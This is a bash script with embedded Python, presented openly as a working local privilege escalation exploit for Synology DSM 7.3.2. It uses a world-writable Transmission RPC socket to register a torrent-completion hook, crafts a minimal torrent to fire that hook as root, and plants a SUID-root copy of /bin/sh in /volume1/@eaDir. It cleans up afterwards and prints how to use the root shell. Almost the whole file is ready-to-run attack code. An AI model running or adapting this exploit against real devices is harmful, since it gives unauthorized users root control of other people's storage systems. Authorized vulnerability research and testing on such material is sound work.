#!/bin/bash
#
# Synology DSM 7.3.2 Full LPE Exploit
# lowpriv → root via Transmission socket + nosuid bypass
#
# REQUIREMENTS:
#   - DownloadStation package installed with BitTorrent enabled
#   - /tmp/synodl_transmission.sock must exist (world-writable)
#   - Run as any unprivileged user with shell access
#
# USAGE:
#   ./synology_full_lpe.sh
#   Then run: /volume1/@eaDir/ROOTSHELL -p
#

set -e

SOCKET="/tmp/synodl_transmission.sock"
EADIR="/volume1/@eaDir"
PAYLOAD="$EADIR/lpe_payload.sh"
ROOTSHELL="$EADIR/ROOTSHELL"

echo "=============================================="
echo " Synology DSM 7.3.2 Full LPE Exploit"
echo "=============================================="
echo ""

# Check socket
if [ ! -S "$SOCKET" ]; then
    echo "[-] ERROR: Transmission socket not found at $SOCKET"
    echo "    Make sure DownloadStation BT is enabled and active"
    exit 1
fi

if [ ! -w "$SOCKET" ]; then
    echo "[-] ERROR: Socket not writable"
    exit 1
fi
echo "[+] Transmission socket found and writable"

# Check @eaDir
if [ ! -w "$EADIR" ]; then
    echo "[-] ERROR: $EADIR not writable"
    exit 1
fi
echo "[+] @eaDir is writable"

# Create payload that will run as ROOT
cat > "$PAYLOAD" << 'ROOTPAYLOAD'
#!/bin/sh
cp /bin/sh /volume1/@eaDir/ROOTSHELL
chown root:root /volume1/@eaDir/ROOTSHELL
chmod 4755 /volume1/@eaDir/ROOTSHELL
echo "done" > /tmp/lpe_done.txt
ROOTPAYLOAD
chmod +x "$PAYLOAD"
echo "[+] Payload written to $PAYLOAD"

# Run the Transmission exploit
echo "[*] Configuring and triggering Transmission..."

python3 << 'PYEXPLOIT'
import socket
import json
import re
import base64
import hashlib
import time
import sys
import os

SOCKET_PATH = "/tmp/synodl_transmission.sock"
PAYLOAD_PATH = "/volume1/@eaDir/lpe_payload.sh"

def get_session_id():
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.settimeout(5)
    sock.connect(SOCKET_PATH)
    req = json.dumps({'method': 'session-get', 'arguments': {}})
    http_req = f'POST /transmission/rpc HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: {len(req)}\r\n\r\n{req}'
    sock.send(http_req.encode())
    response = sock.recv(4096).decode()
    sock.close()
    match = re.search(r'X-Transmission-Session-Id: ([A-Za-z0-9]+)', response)
    if not match:
        print("[-] Failed to get session ID", file=sys.stderr)
        sys.exit(1)
    return match.group(1)

def rpc(method, args=None):
    sid = get_session_id()
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect(SOCKET_PATH)
    req = json.dumps({'method': method, 'arguments': args or {}})
    http_req = f'POST /transmission/rpc HTTP/1.1\r\nHost: localhost\r\nX-Transmission-Session-Id: {sid}\r\nContent-Type: application/json\r\nContent-Length: {len(req)}\r\n\r\n{req}'
    sock.send(http_req.encode())
    response = b''
    while True:
        try:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
        except:
            break
    sock.close()
    body = response.split(b'\r\n\r\n', 1)[1]
    return json.loads(body)

# Clean existing torrents
try:
    result = rpc('torrent-get', {'fields': ['id']})
    for t in result.get('arguments', {}).get('torrents', []):
        rpc('torrent-remove', {'ids': [t['id']], 'delete-local-data': True})
except:
    pass

# Configure script execution
result = rpc('session-set', {
    'script-torrent-done-enabled': True,
    'script-torrent-done-filename': PAYLOAD_PATH
})
if result.get('result') != 'success':
    print("[-] Failed to configure script", file=sys.stderr)
    sys.exit(1)

# Create and add minimal torrent
uid = os.urandom(4).hex()
content = f'lpe_{uid}'.encode()
piece_hash = hashlib.sha1(content).digest()
name = f'lpe_{uid}'.encode()
torrent = b'd8:announce0:4:infod6:lengthi' + str(len(content)).encode() + b'e4:name' + str(len(name)).encode() + b':' + name + b'12:piece lengthi16384e6:pieces20:' + piece_hash + b'ee'

result = rpc('torrent-add', {
    'metainfo': base64.b64encode(torrent).decode(),
    'download-dir': '/tmp'
})
if 'torrent-added' not in result.get('arguments', {}):
    print("[-] Failed to add torrent", file=sys.stderr)
    sys.exit(1)

torrent_id = result['arguments']['torrent-added']['id']

# Write matching data file
with open(f'/tmp/lpe_{uid}', 'wb') as f:
    f.write(content)

# Trigger verification (completes torrent, fires script)
rpc('torrent-verify', {'ids': [torrent_id]})
time.sleep(3)

# Cleanup
rpc('session-set', {'script-torrent-done-enabled': False})
rpc('torrent-remove', {'ids': [torrent_id], 'delete-local-data': True})
try:
    os.unlink(f'/tmp/lpe_{uid}')
except:
    pass

print("[+] Transmission exploit completed")
PYEXPLOIT

# Wait and verify
sleep 2

if [ -f "/tmp/lpe_done.txt" ]; then
    rm -f "/tmp/lpe_done.txt" "$PAYLOAD" 2>/dev/null || true

    if [ -f "$ROOTSHELL" ]; then
        PERMS=$(ls -la "$ROOTSHELL" | cut -c1-10)
        if [[ "$PERMS" == *"s"* ]]; then
            echo ""
            echo "=============================================="
            echo "[+] SUCCESS! SUID root shell created!"
            echo "=============================================="
            echo ""
            ls -la "$ROOTSHELL"
            echo ""
            echo "Run this to get root:"
            echo "    $ROOTSHELL -p"
            echo ""
            echo "Example:"
            echo "    $ROOTSHELL -p -c 'id'"
            exit 0
        fi
    fi
fi

echo "[-] Exploit may have failed. Check manually:"
echo "    ls -la $ROOTSHELL"
exit 1
